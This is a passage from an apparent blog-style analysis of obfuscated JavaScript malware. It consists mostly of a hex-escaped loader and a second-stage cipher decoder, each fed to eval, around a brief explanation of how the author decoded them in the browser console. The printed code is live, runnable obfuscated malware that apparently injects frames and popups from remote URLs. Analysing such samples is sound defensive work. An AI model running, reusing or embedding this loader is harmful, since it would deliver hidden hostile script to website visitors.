x30\x41\x69\x61\x6a\x39\x59\x63\x4c\x66\x53\x70\x25\x32\x38\x25\x32\x32\x78\x4e\x44\x5f\x6b\x6b\x36\x69\x64\x57\x58\x47\x25\x32\x38\x25\x32\x39\x25\x32\x32\x25\x32\x43\x25\x32\x30\x6a\x72\x71\x77\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x31\x25\x32\x41\x25\x30\x44\x25\x30\x41\x50\x69\x57\x25\x32\x30\x74\x25\x32\x30\x55\x5f\x46\x61\x59\x25\x32\x38\x25\x32\x30\x59\x5f\x53\x32\x31\x25\x32\x38\x25\x32\x30\x25\x33\x46\x25\x33\x46\x25\x32\x30\x25\x32\x39\x25\x32\x30\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x45\x4b\x4c\x79\x33\x38\x45\x73\x44\x66\x47\x66\x43\x4d\x42\x75\x25\x32\x42\x66\x38\x78\x45\x50\x5a\x71\x44\x69\x39\x67\x31\x38\x51\x63\x4a\x70\x32\x6f\x43\x78\x51\x49\x4a\x4b\x50\x75\x4a\x51\x54\x71\x4c\x66\x72\x65\x31\x71\x50\x69\x44\x50\x43\x73\x37\x4b\x39\x7a\x31\x65\x38\x7a\x4a\x71\x25\x33\x44\x76\x4a\x4e\x35\x65\x25\x30\x44\x25\x30\x41\x45\x4a\x45\x6d\x33\x70\x47\x6b\x44\x48\x55\x59\x49\x61\x45\x7a\x44\x4b\x59\x66\x34\x4c\x49\x74\x50\x66\x25\x32\x46\x5a\x44\x5a\x25\x32\x42\x74\x25\x32\x42\x66\x77\x72\x45\x66\x46\x74\x50\x79\x56\x51\x32\x4c\x54\x6f\x49\x36\x42\x70\x44\x67\x25\x33\x44\x61\x4b\x37\x55\x62\x4a\x67\x4c\x75\x4c\x76\x43\x62\x32\x61\x61\x79\x43\x4d\x4f\x72\x25\x30\x44\x25\x30\x41\x37\x71\x74\x79\x41\x4f\x50\x78\x4b\x71\x48\x31\x4b\x25\x32\x42\x41\x62\x45\x63\x55\x74\x32\x70\x25\x33\x44\x53\x45\x48\x49\x64\x55\x61\x56\x68\x44\x64\x54\x73\x44\x73\x71\x59\x44\x50\x43\x66\x43\x4a\x46\x70\x79\x66\x38\x78\x51\x50\x56\x72\x45\x6c\x55\x63\x31\x73\x54\x6e\x4a\x70\x25\x32\x42\x73\x44\x41\x25\x33\x44\x55\x4a\x4e\x50\x74\x25\x30\x44\x25\x30\x41\x49\x51\x50\x72\x4d\x66\x76\x61\x31\x37\x53\x76\x44\x4d\x37\x73\x36\x61\x39\x78\x31\x68\x48\x79\x57\x61\x54\x79\x49\x4e\x70\x65\x45\x4a\x59\x70\x33\x70\x47\x6a\x44\x34\x56\x4c\x49\x64\x55\x30\x44\x71\x48\x73\x34\x4c\x74\x74\x4f\x79\x4b\x69\x44\x63\x25\x32\x42\x70\x78\x25\x33\x44\x25\x33\x44\x76\x45\x69\x56\x70\x44\x43\x55\x63\x25\x30\x44\x25\x30\x41\x32\x4c\x4c\x73\x56\x36\x79\x6d\x44\x51\x4c\x57\x49\x72\x54\x72\x4a\x6a\x50\x70\x4c\x25\x33\x44\x44\x4d\x32\x61\x37\x79\x4f\x63\x25\x33\x44\x5a\x36\x61\x6c\x79\x30\x4f\x50\x79\x4b\x61\x62\x31\x56\x25\x32\x42\x41\x5a\x45\x63\x49\x6f\x32\x36\x4f\x65\x44\x48\x25\x32\x42\x4e\x54\x4b\x56\x69\x45\x61\x6a\x79\x33\x62\x41\x6f\x43\x66\x33\x66\x25\x30\x44\x25\x30\x41\x43\x70\x47\x64\x79\x66\x4c\x79\x44\x76\x56\x6f\x44\x69\x39\x67\x31\x38\x50\x6f\x4a\x70\x32\x73\x50\x51\x51\x48\x4a\x61\x50\x75\x4a\x41\x50\x6f\x4c\x66\x73\x4e\x33\x4b\x25\x32\x46\x73\x44\x63\x37\x74\x37\x4b\x39\x78\x30\x65\x34\x7a\x4b\x37\x54\x30\x4a\x4e\x35\x65\x51\x5a\x45\x6d\x43\x4a\x61\x66\x44\x6f\x59\x5a\x25\x30\x44\x25\x30\x41\x49\x61\x51\x7a\x50\x71\x58\x74\x34\x62\x35\x74\x45\x50\x53\x66\x44\x63\x46\x70\x25\x32\x42\x50\x70\x66\x44\x43\x42\x73\x45\x53\x56\x4f\x31\x4c\x34\x73\x49\x4a\x42\x6f\x44\x67\x25\x33\x44\x61\x49\x25\x32\x42\x50\x75\x4a\x6a\x50\x70\x58\x76\x7a\x59\x32\x61\x47\x79\x50\x4d\x25\x32\x46\x6d\x37\x71\x78\x79\x31\x4f\x54\x78\x4a\x61\x34\x31\x25\x30\x44\x25\x30\x41\x49\x25\x32\x42\x42\x4d\x45\x5a\x67\x73\x33\x70\x50\x54\x44\x48\x39\x63\x48\x37\x59\x77\x45\x71\x6a\x79\x33\x62\x41\x76\x44\x69\x43\x66\x50\x5a\x33\x63\x78\x43\x34\x72\x50\x50\x56\x70\x45\x79\x67\x63\x31\x73\x4c\x6d\x4a\x70\x32\x74\x45\x41\x50\x58\x4a\x4b\x62\x74\x55\x77\x51\x64\x4c\x66\x72\x61\x42\x37\x25\x32\x46\x73\x25\x30\x44\x25\x30\x41\x43\x63\x37\x70\x36\x4b\x75\x69\x30\x75\x38\x76\x4a\x4b\x41\x6c\x49\x64\x74\x62\x44\x47\x38\x32\x25\x30\x44\x25\x30\x41\x25\x32\x41\x6f\x25\x30\x44\x25\x30\x41\x27\x29\x29\x3b'; return moqbqYo; } var ifOXCIjSUMc = eval; ifOXCIjSUMc(aAwJinPSCPg());

The \x45 are hex codes.  Essencially what is going on here is the developer is using hex code to represent text.  Not exactly super obfuscated, but interested.  If you scroll all the way to the end you will see an ‘eval’ command – which reinforces the notion that eval is evil in javascript.  Anyway, still using the console tab in Chrome, all of this can be evaluated.  In this case, I have to evaluate it twice, because the outputted code is still obfuscated:

   1: var clReNWvDNSS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var FzCfZkfvHvl = 'f=(<8=>yy@=+))87=x*77.y';  function blMfGaVxxxv(s) { var vNbrQcGifBJ = ''; var NcipcTbOcs = -1; var c = 0; var kDYCcFlZEm = 0; var JRtzFtY = unescape(s);  for (var i=0;i<JRtzFtY.length;i++) { NcipcTbOcs = clReNWvDNSS.indexOf(JRtzFtY.charAt(i)); if (NcipcTbOcs >= 0) { kDYCcFlZEm = (NcipcTbOcs - FzCfZkfvHvl.charCodeAt(c)) % clReNWvDNSS.length; if (kDYCcFlZEm < 0) { kDYCcFlZEm += clReNWvDNSS.length; }  vNbrQcGifBJ += clReNWvDNSS.charAt(kDYCcFlZEm);  c++; if (c >= FzCfZkfvHvl.length) { c = 0; } } else { vNbrQcGifBJ += JRtzFtY.charAt(i); } }  return vNbrQcGifBJ; } eval(blMfGaVxxxv('TWS%20eji_oVgnnX_QP%09%093%20jnkH%3B%0D%0AlQY%20aQi_SZgkok_RbYIUU%093%20%27XpjS%3A11J.jRWUXfqkkVq.YSOnyt5xksvsrjZb1TW1uU%2Bxp%27%3B%0D%0AXCi%20Zoc_UUfViR_fBqRkk%093%20%27YspT%3AnnT.ipQWSebeRaS.Xfi8yu83mel2q7vlSRH0g0mw2%27%3B%0D%0ArXi%20ari_VGRfhp_ZDlQVWD%098%20%27Iokl%3A82T.rpEVEfkjjHh.SVdj3fww4ys2z7kFDVuxwj1rs%27%3B%0D%0Am%2Fn%20Knd_nbgfqp_PQCUUZ%092%20%27KjjW%3A2jY.ToRpZflmpIT.Efc7xhrvprd7b6V2Yrx54Jnd2%27%3B%0D%0AlWh%20Mic_YVNkSo_ckXUWZeP%09o%20%27Jkjl%3A1oS.iaRRYPpepbi.Tnipjgsv4rm1qsweWcXVz62s%2B%27%3B%0D%0A%0D%0ArET%20Ljc_hQE_ed%09%09%09t%20kPqF%3B%0D%0AqRn%20gjd_kWF_CETUoi%09%09p%20%27Xjag%3Aj7GgpbfjYdnW.EJ2ml-QGcYU2ALBiVhU2ZmZIZ.RYf%3FWSWYeU3QpBoj_WZTVro%27%3B%0D%0AZCT%20aii_bDR_ZHm%2FkO%09%097%20%27Ypqg%3A2%2BbPaHZidUUi.SO2Ul-BYdek2TOWRGNO1edGUn.WYN%3FWDoZkk3jsWXU_LRlWeQ%27%3B%0D%0AlQY%20aQi_MVS_fXmRnbJ%09%09o%20%27Jkjl%3A1oVbfWGoIZio.ZY2vl-EFOZd7S5QdLc87JiUau.gYo%3FWGVKfd8iWQjZ_a%2FrBjWb%27%3B%0D%0AsRi%20ioQ_NCS_bkQGUT%09%09t%20%27YRpQ%3A62bipWhoLGTj.Sd1Zf-QKdGjmXGWkVcW7MPFVn.lXS%3FQSaZMjnnkWqj_cnWHGF%27%3B%0D%0AmQn%20ZVc_bHS_JkBYWWfc%093%20%27gpXR%3An2VhoIYiOVPo.Dc2sm-RUleRnEGQjUON1PeBaY.kYl%3FXTkhkRoUkQpi_OeQKW%2FeM%27%3B%0D%0A%0D%0AqRn%20gjd_kkEFGU%09%09%092%20bQOiU%3B%0D%0AcRP%20fTh_RlmcVs_eRFGo%092%20x%3B%0D%0AlDh%20ZZd_%2FlQgVp_Zflmp%09q%20ecr%3B%0D%0AlWh%20Mic_HgNhFo_gnbWZw%098%20%27E%27%3B%0D%0AXCi%20Zoc_DffSVR_qSg%09%093%20%27dqkg%3A%2B7EFXRdYUGgkHcGpZnpoqVd.bkQnvVj79Hj.fOg%3F%2F8m%27%3B%0D%0A%0D%0AqRn%20gjd_okTWPUUn_kUb%092%20%27OkRl%3Am6TailcZnFQO.Tei1Mi1JcGYLkfl.gj%27%3B%0D%0A%0D%0AWtjGVKfd%20FI2_WUa4NlMZkQOC%28%29%0D%0A%7B%0D%0A%092%2BWPGTk%28Zoc_DffSVR_qSg%201%20fpd_RolPGV_ghaVLn%200%20QjK_WQkcaq_Zecab%20m%20%27.LRh%27%29%3B%0D%0A%09nUWkhU%20aQi_Bkghbk_lqh%20o%20LUd_QlfOUj_WiCbJs%201%20fpd_RolPGV_ZdZUa%200%20%27.ZHi%27%3B%0D%0A%7D%0D%0A%0D%0ADqOXkele%20ARI_GTGRja%2FIhQTV%28QnD%29%0D%0A%7B%0D%0A%09qRn%20fWiZiI%20o%20FfSqcHdj.JiCWUZ8hbdVmp%28%27MHTRca%27%29%3B%0D%0A%09YIhQTV.QnD%207%20jnZ%3B%0D%0A%09ZWqWQG.UkohU.YYiPSGhJop%208%20%27eZUcaR%27%3B%0D%0A%09KHiQiU.VjoSV.BeTkcWv%203%20%27ZmhMPG%27%3B%0D%0A%09ZVnQPU.iapJa.NVicfe%203%20%27z%27%3B%0D%0A%09eJTCdU.ojbbU.WRBZJiX%208%20%27x%27%3B%0D%0A%09ZWqWQG.UkohU.EehKVP%208%20%27Ojea%27%3B%0D%0A%09fWiZiI.UVpba.mLTjO%203%20%27Y%27%3B%0D%0A%09eGmRib.jkxhI.JGZWdj%20p%20%27q%27%3B%0D%0A%09hLkSnO%20dWnXdV%3B%0D%0A%7D%0D%0A%0D%0AeqREVZej%20%3D8C_SYV%2FpFNTnfgk%28rnG%29%0D%0A%7B%0D%0A%09XCi%20iYhLfj%20t%20UMYVhVjq.TidWXGtcUiUQj%28%27iJiGlU%27%29%3B%0D%0A%09nTnfgk.suTG%20o%20%27kUtjoZQcRQYSdgp%27%3B%0D%0A%09pTihlX.UTT%202%20ohF%3B%0D%0A%09hUalPj%20TXiemk%3B%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20cUWNC5%2FRpQMVmrVjs%28%29%20%0D%0A%7B%0D%0A%09eJ%20%28YKeTkm.ACB1kRl5Zhqbjk%29%20qaXWTe%20dam%20ZYdKfU.T0G%2FpqgIdmYGUk%3B%0D%0A%09UhiH%0D%0A%09%7B%0D%0A%09%09jhf%0D%0A%09%09%7B%0D%0A%09%09%09iCpVme%20jbn%204bpMXGOEXZHSj%28%226ZAnPnfbq.ODKD%2B84%22%29%3B%0D%0A%09%09%7D%0D%0A%09%09TQpSK%28Un%29%0D%0A%09%09%7B%0D%0A%09%09%09YVRqSi%20eqic%3B%0D%0A%09%09%7D%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20FI2_bQIIClPmk%28qoc%29%0D%0A%7B%0D%0A%09mZn%20S6Gh%202%20cUWNC5%2FRpQMVmrVjs%28%29%3B%0D%0A%09eJ%20%28Q6Vg%29%0D%0A%09%7B%0D%0A%09%09kHHg.eUiCWEtjpXkVbdEPIV%202%20bkQSjPfL%20%28%29%0D%0A%09%09%7B%0D%0A%09%09%09eG%20%28jIan.iVZZc7VRja%202p%20u%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%09YM%20%28f2aR.nkWqlj%20%2F8%20gcc%29%0D%0A%09%09%09%09%7B%0D%0A%09%09%09%09%0921sYQTed.RJaSo%28%27Wnld%20TZhPDCTa%20%27%206%20e7Ug.YVQlPijaQVos%29%3B%0D%0A%09%09%09%09%7D%0D%0A%09%09%09%7D%0D%0A%09%09%7D%3B%0D%0A%09%0D%0A%09%09k8GS.ffad%28%22w7J%22%2C%20biJ%2C%20pSpV%29%3B%0D%0A%09%09kOVh.raRF%28%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AHldYjLed%203Jx_hBWIamfisy%28YTN%29%0D%0A%7B%0D%0A%09mQn%20XK4eKp%20k%20ZPXlibek.akHa%3B%0D%0A%09KW%20%28Xd4RTo%29%0D%0A%09%7B%0D%0A%09%09OYmkEt.ZjpVis%2BIHQiU%28FI2_ShLRRawaiWjV%28lqh%29%2C%20LJqfTu.VLhia6FeMY%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AWqkTkhkR%20y7D_SnUDjU2dE%28oSX%29%0D%0A%7B%0D%0A%09mWo%20Zdf%208%20HQElcadW.ShLRRasgVibek%28%27hiK%27%29%3B%0D%0A%09KOX.inS%20p%20ihJ%3B%0D%0A%09iCpVme%20ejX%3B%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20FI2_ShLRRa6kRj%28ekdk%29%0D%0A%7B%0D%0A%09rET%20UgQj%202%20GeSbdCjU.XiaXkVDhIOGej%28%27ofDd%27%29%3B%0D%0A%09iWRL.eOiVnEKDK%208%20LVOc%3B%0D%0A%09hajXhd%20Zg%2Fj%3B%0D%0A%7D%0D%0A%0D%0AGpeYqZfm%20F91_IVj9fSbUa%2FRiM%28%29%0D%0A%7B%0D%0A%09mVprie%20%27%3CZlTNGk%20dWcH2%22%2A3A8y%C7%C3K%2A%20oolWiZqZ%E7%E3k%20HG%207VWqhDd%E7Q%20wcGmVZ%20Vi%20BO8BQ%2Bp6%20%21%21%22%20TeZUp%22Q.SSRQo%22%20BmTdfmV%2F%22%27%206%20071_XUp3SfbLk5Nz%28%29%205%20%27%3Fi8%27%207%20DRsd.JNQfh%28xqdqqh%201%20%28xWUc.iWkUfl%28%29%2A5nll0z%206%20r%29%29%20n%20%27%22%20mYKkF8%22b%22%20cVedYk%2F%22w%22%20%20WVacU8%22lLiYIZJeUt%3A%20YeaUVm%22%3E%09%09%3ClETCd%20dWcH2%22b%22%20cRJqF7%22Ypqg%3A2%2BoQUHRca.SRc10VR7uZk.leg%3FR%2FfVG.GoU%22%3E%3C7fDhQT%3E%3C2%2FlQgVp%3E%27%3B%0D%0A%7D%0D%0A%0D%0AclebpMQP%20AII_WHj3WgJaUCkii_O%28%29%0D%0A%7B%0D%0A%09idpYTP%20%27%3CRflbHj%20dHdC8%22%2AoO8J%C7%C3L%2A%204ktWPKbR%E7%E3e%20ZU%208UWbi%2Fj%E7B%20%2BcenlV%20di%20v%3Dt6KP37%20%21%21%22%20SeKVk%22W.DgRop%22%20RibdMXG3%22%27%200%20fiP_QfWcCp_Vmc%206%20%27gRmZX.NCT%3Fi2%27%206%20CDjX.McMkS%28wrwxrr%209%20%28IEVJ.iQjTRc%28%29%2Azq0h5k%205%20s%29%29%206%20%27%22%20tZUsdq%22c%22%20JVYcXW2%22q%22%20%20ZkWhF7%22mepZShhMVa%3A%20YYZTHd%22%3E%09%09%3CfHi%2Fi%20OVda9%22c%22%20mZhYGo%22Yjpf%3Ao1iTjDWNZ.Tkj2%2BdppvGk.fdf%3FD2ZYV.CtF%22%3E%3C6gWoRd%3E%3C%2BWTRNVj%3E%27%3B%0D%0A%7D%0D%0A%0D%0AbkQSjPfL%20F6H_fjIfRc%28%29%0D%0A%7B%0D%0A%097pTGgenj%20OeQK%20jSYDZjo%0D%0A%09fW%20%28ari_VGRfhp_eQ%29%20%3DI6_TPaBoVEjX%28ari_VGRfhp_bRQTLU%29%3B%0D%0A%09j7Ja%20%28aoj_cRa_kR%29%20y7D_bWR7UfViR%28fTh_cWY_cfZZIF%29%3B%0D%0A%09KW%20%28Zoc_OQR_Ve%29%20uO0_gRXOVgnnXe%28Ljc_hQE_beHUCZ%29%3B%0D%0A%7D%0D%0A%0D%0AGpeYqZfm%20F91_QeBkQG%3DQcR8%28%29%0D%0A%7B%0D%0A%09F6H_TnbRkdEQI%28%27Jkjl%3A1oS.iaRRYPpepbi.Tnipjgwv2sg1qsSB3iZRya2s%2B%27%29%3B%0D%0A%7D%0D%0A%0D%0AbYPEkYkd%20zIC_VewkBY9Wfc%28%29%0D%0A%7B%0D%0A%092%2BnIRQij%20heDT%20VHZJ%0D%0A%09eG%20%28eji_oVgnnX_QP%29%20AII_SUUQaVtiH%28eji_oVgnnX_NQRTbQLb%29%3B%0D%0A%091sZD%20%28fTh_cWY_fe%29%20IO3_NCSHafRhj%28QjK_hBW_ckXUWZeP%29%3B%0D%0A%09KH%20%28aii_bDR_eU%29%20A3I_MVSNbgfqpg%28LUd_bWR_OeQKW%2FeM%29%3B%0D%0A%09%0D%0A%09dW%20%28fpd_RolPGV_ZdZUa%20%3C%20ZiT_RNlMZk_Ylles%29%0D%0A%09%7B%0D%0A%09%09fWO_CgfhUW_YdKVV6l%3B%0D%0A%09%0D%0A%09%09qRn%20e5fcu%20q%20FQTkiUQj.RVUW%3B%0D%0A%09%09eG%20%28c5kap%29%0D%0A%09%09%7B%0D%0A%09%09%09mZn%20LVOc%202%20FI2_WUa4NlMZkDqdc%28%29%3B%0D%0A%09%09%09g%2BSFa.ZdoUUj4LWMnF%28EJI_ZiVZpI7RRd%28djPb%29%2C%20XvfBu.Gdioq6YhhH%29%3B%0D%0A%09%09%7D%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AHWeSpYRd%20%3D%3DD_MjwiZp%28e5fcu%29%0D%0A%7B%0D%0A%09%0D%0A%09pnTVfkhW%20QSJVQo%0D%0A%09Ja%20%28aoj_iVokVV_Qe%29%20%3DOC_FhUHkCENb%28aoj_iVokVV_CTSaiV%29%3B%0D%0A%0911PW%20%28HoN_gRX_le%29%20ARI_PCDIUleUj%28ZZd_JWC_VTYbjj%29%3B%0D%0A%09hb%20%28NUO_cQX_eQ%29%20%3DI6_c%2FX5Zgkokt%28ioQ_NCS_QYSHii%29%3B%0D%0A%09%0D%0A%09PW%20%28F%2BPYp%29%0D%0A%09%7B%0D%0A%09%09rXi%20YsiP%20o%20%27%27%3B%0D%0A%09%09%0D%0A%09%09KW%20%28dWlLWQafP.fBqRAkRSkaH%28%29%29%0D%0A%09%09%7B%0D%0A%09%09%09nnaQrQ%20Rd%0D%0A%09%09%09%0D%0A%09%09%09XadJ%208%20xND_cbk4olPGV%2Fjib%28%29%20n%20%27%20%27%200%20%3D%3DD_EaU8gliVkGpQN_%3D%28%29%3B%0D%0A%09%09%09%0D%0A%09%09%0921nUSeha%20a%2FrB%20ZeWYcVc%20WGEGji%0D%0A%09%09%09eV%20%28Mic_YVNkSo_fj%29%20GJD_bnICVV%2FiW%28Mic_YVNkSo_aWsRfm%29%3B%0D%0A%09%09%097pKH%20%28aii_bDR_eU%29%20A3I_MVSNbgfqp%28NUO_cQX_ZDlQVe%29%3B%0D%0A%09%09%09Gb%20%28Knd_hXS_fm%29%20F91_NRRNUSehat%28HoN_gRX_gRmZkR%29%3B%0D%0A%09%09%09%0D%0A%09%09%09JqfTu.YQiUYkmaGjia%28GJD_bnICVVIlQQ%28XjTc%29%2C%20F%2BPYp.bfijs%2FLKNU%29%3B%0D%0A%09%09%7D%0D%0A%09%09UhiH%0D%0A%09%09%7B%0D%0A%09%09%0911QRTW%20PaW%0D%0A%09%09%09%0D%0A%09%09%09ec%20%28kpoaSH%20YZdZeZ.YdUVPSJYkd%20%219%20%27lecaJKPVT%27%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%20%20rYHmfViRsJYkd%209%20nZmZSY.Kedah%3DYTaY%3B%0D%0A%09%09%09%20%20TeFrgkokYdeKJV%203%20medGem.PeLaSCVedYk%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09%20%0D%0A%09%09%09dhWG%20KW%20%28jufHeV%20KfAqNZep.afTtiIPV8bacHdj%20%21t%20%27lLZFaZjbU%27%20%26%26%20kxlIQH%20UeYkPUda.UMYVhVjq8cdiIPV.TbeUQjMPURd%20%21n%20%27peZbWZmaH%27%20%26%26%20FQTkiUQj.TVTSiFikAiVddjX.ENZUjj%3DYTaY%20%21k%20w%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%09WdVsmfissMFVY%202%20ZeFkcLeR.ZPXlibekDhIOGej.YbLUdaNGZUc%3B%0D%0A%09%09%09%09mebngnnXJGZWdj%20p%20TeJlKaOo.UkZlddjXtNVcadW.SbPVLpvZZcek%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09VkoI%0D%0A%09%09%09%7B%0D%0A%09%09%09%09XKVmleUjmPURd%20n%20YfYrdVmp.KGV8bacHdjZ5WPBbEWjV%28%27SnZc%27%29%5Bc%5D.EcYadWMYKkF%3B%0D%0A%09%09%09%09rJZnllikgaMIJk%202%20ZeFkcLeR.cFo8hbdVmpWqaKQcDDcU%28%27IfBu%27%29%5Bb%5D.XcebekGaMIJk%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09%0D%0A%09%09%0917XWcb%20t%20%27a%2FrB%20dj%20JLK%20VmWFNGU...%27%3B%0D%0A%09%09%09XpcO%202%20%27%3CTPm%20GZn%22spv_iZXgp_GQPk%22%20ipoOU2%22KZQlMVp%3A%20jleV%3B%20okWKVZej%3A%20QEieSlRa%3B%20UZop-XcZfj%3A%20GGPkUn%3B%20jRf%3A%20q%3B%20SVDp%3A%20b%3B%20rZZqY%3A%20szz%25%3B%20LGKXXp%3A%20rdt%25%3B%20p-PeBaY%3A%204rwz%3B%20SRbgKTQldZ%3A%20dRdU%22%3E%3CKZT%20eE7%22ouw_cZfdX%22%20UVpba2%22GYiWc%2Fu%3A%20Ojea%3B%20jRifeR%3A%20c%20Cljk%3B%20cDhWPe-RkQ%3A%20wuwmo%3B%20nhZXJ%3A%20irqln%3B%20SQTKZLc%3A%20b%3B%09WfnaVi%3A%2002TZ%20UfbeT%20%23frsitZ%3B%20XPmUao-kfo%3A%20jSPG%3B%20SQYaJhebeB-YPgfn%3A%20tYZsa%3B%20d-KPUUt%3Azdqt%3B%20VmCnGgfs%3A%20Xlkn%3B%20bSPV-WQiYOo%3A%20JHYMiB%3B%20afjq-jZya%3A%20fdRo%3B%20SkbRh%3A%20RSRAg%3B%20UZop-XcZfj%3A%20GGPkUn%3B%22%3E%3C%21--%3CTLl%20iapJan%22oVtq-RchcR%3A%20NGWj%3B%20sYGjX%3A%20or%25%3B%20KWSbZj%3A%20Xlkn%20WYVQ%3B%20SQYaJhebeB-YPgfn%3A%20%23cWW%3B%20akVFGi%3A%20rln%20VebPU%20%23fyixyy%22%3E--%3E%3CaZm%20rpcNG3%22VkdW-mUPXFp%3A%20CjcZ%3B%20cfes-oMbG%3A%20ssln%3B%20FebVi%3A%20%23DbG%3B%20kRZaZef%3A%20xgRZ%20zft%20ySn%20uWo%3B%20%3DWDfXnllec-YSNQi%3A%20%23sxsesr%3B%20aVVp-BgZck%3A%20cVep%22%3ErVGe%E7%E3e%3C7TLl%3E%3CTPm%20QpZgV8%22mRUceRI%3A%20ign%3B%20XQFaWYfSjE-Xfhli%3A%20%23Web%22%3E%3CHKX%20jjubH2%22jLoR-WMdXj%3A%20oZXgp%3B%22%3E%3CE%20UVpba2%22WUna-UCYPmRpffe%3A%20tjHGTcYjU%3B%20FebVi%3A%20%3DhVZ%22%20YnbW3%22iWZCUThefW%3AlePU%28Y%29%22%20kOXceZb3%22ckGWOVdp.WHj7SVKaOo5uFU%28%5C%27oxv_PKIYj%5C%27%29.ojbbU.KZQlMVp8%5C%27kfed%5C%27%3BZSEWdUjj.JUjycCiFik%2Bv%3DU%28%5C%27wud_HCUU%5C%27%29.ojbbU.KZQlMVp8%5C%27kfed%5C%27%3BZSEWdUjj.JUjycCiFik%2Bv%3DU%28%5C%27wud_NKXXp_SRdj%5C%27%29.ZkWhF.YZomcRx8%5C%27RQPV%5C%27%22%3E8aSKQh%3CsR%3E%3CjZJq%3E%3CUes%20jkxhIo%22RRTZYQW-jVg%3A%20glY%3B%20oVtq-RchcR%3A%20EGejah%22%3E%3CLcW%20TRPcJi%3A%20wlu%3B%20gRcZMPI%3A%20r%22%20inSp%22Xjag%3Aj7Tw.gkpkZlWKG.QiW7texiUsdxH6aWsR.aoc%22%20p%3E%3CnFZl%3E%3CZYY%20ijfcC8%22QVUZfeX%3A%200wTZ%20c%20tvln%20d%3B%20jUek-%2FhJbe%3A%20Ybekdn%3B%20JQPk-maYJXj%3A%20IfJZ%22%3E9jT%EA%20j%E3l%20gfroYK%20yRlW%20eX%20UbL%20VQp%E1%20EZjWYZchpEFQ.%3CSh%207%3E7VjQ%20W%E1XGjB%20kfoplZ%20qaGWTjeo%20gXU%20hLhSaSZd%20mrV%20f%20IWZC%20GjjaZD%20QjPm%2FZP.%3CWi%207%3E%3CYi%202%3E%3CZ%20pETIVj8%22_ROQdR%22%20YPaG7%22Ypqg%3A2%2BsaY.LRlW.SRc1Wk_mNmYfskcfZZp%22%3ErNZgqU%20DgkP%20g%2FnB%20deoqRcZn%20S%20RNlWed%20Ge%20%3DHm%2F.%3C7B%3E%3C6Ues%3E%3C%21--%3C2Uhr%3E--%3E%3CpFKm%3E%3C1ZYY%3E%3C1TPm%3E%27%20i%0D%0A%09%09%09%09%27%27%206%0D%0A%09%09%09%09%27%3CEdm%20ea3%22oxv_JCFV%22%20ipoOU2%22KZQlMVp%3A%20jleV%3B%20okWKVZej%3A%20QEieSlRa%3B%20Ujg%3A%20w%3B%20iVWs%3A%20w%3B%20aKFkX%3A%20%27%206%20lLUmWfPpXdUpe%201%20%27gw%3B%20dIKIYj%3A%20%27%206%20lLUmWfPpIZZcek%201%20%27ot%3B%20FCEbWneXdT-JfJkS%3A%20WcWZb%3B%20q-hjHGZ%3A%200qwr%3B%20-Pep-Vg%2FYJop%3A%20w.5%3B%20fgZYMVa%3A%20.zq%3B%20bYOjUY%3A%20RJlIV%28flXTZsuqkc%29%22%3E%3C2Tel%3E%27%3B%0D%0A%09%09%09o%2A%2A1%09%0D%0A%09%09%091siClPmk%20fXmR%20ceWCDcUZ%20QFSUZj%0D%0A%09%09%09Gb%20%28Knd_nbgfqp_SP%29%20yJC_YhHQjL%3DKc%28Knd_nbgfqp_NCXRebV%29%3B%0D%0A%09%09%09o1YM%20%28aQi_MVS_kk%29%20AJL_hED6VfkhW%28ZiT_c%2FX_KVmWlWW%29%3B%0D%0A%09%09%09hb%20%28NUO_cQX_eQ%29%20%3DI6_c%2FX5Zgkokt%28ioQ_NCS_ZWlDeVM%29%3B%0D%0A%09%09%09%0D%0A%09%09%09YmkEt.ZjpVis%2BIHQiU%28FI2_ShLRRa6kRj%28ekdk%29%2C%20dsQFp.VehVj5OZJZ%29%3B%0D%0A%09%09%09%09%0D%0A%09%09%09EjTqjVes.cIVtcUiUQj4f%3DB%28%27tZu_cedYk_bkRV%27%29.UkohU.GYiWc%2Fun%27WckZb%27%3B%0D%0A%09%09%09UnYYOGej.cUW7bLdCjU9pEa%28%27opy_hMIJk%27%29.ipoOU.TPjNhBt3%27XifTj%27%3B%0D%0A%09%09%09ZSEWdUjj.JUjycCiFik%2Bv%3DU%28%27wud_HCUU%27%29.ojbbU.KZQlMVp8%27Ycfbg%27%3B%0D%0A%09%09%7D%0D%0A%09%09%0D%0A%09%09LqQUo.edVUha5CbPmV%28FPD_TqaEVGJSnYSj%28ZZd_NkQpeZbi_lqh%29%2C%20LqQUo.bYUijwYGhE%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AaljZkZnj%20071_fd%2FhHQjL%28%29%0D%0A%7B%0D%0A%09ZD%20%28fTh_ckXUVc%29%20nIVWid%3B%09%0D%0A%09%0D%0A%09rQU%20covfBu%20n%20YfYrdVmp.FQFp%3B%0D%0A%09Yb%20%28cb4eKp%29%0D%0A%09%7B%0D%0A%09%09HoN_gfWaVU%20%2F%20pVWG%3B%0D%0A%09%09AII_eQ%2FdPk%28KupjUu%29%3B%0D%0A%09%7D%0D%0A%09bcjd%0D%0A%09%7B%0D%0A%09%09oIV8ZcaeXj%28%22%3D%3DD_MjqmVWqV%28%29%22%2C%20szw%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AJWPTjeeQ%20MYUUMs2ickXU%28W%29%0D%0A%7B%0D%0A%09uWV%20RTVl%208%20mLdTVn.MjMjRZ%3B%0D%0A%09tZecka.QPceWT%20p%20VkUTRePi%28%29%20%7B%20Zb%20%28miVu%29%20lVGX%28%29%3B%20W%28%29%3B%20%7D%0D%0A%7D%0D%0A%0D%0AMedGem8eJkBY%28AOJ_feBnICVV%29%3B%0D%0Aiaj9YcLfSp%28%22xND_kk6idWXG%28%29%22%2C%20jrqw%29%3B%0D%0A1%2A%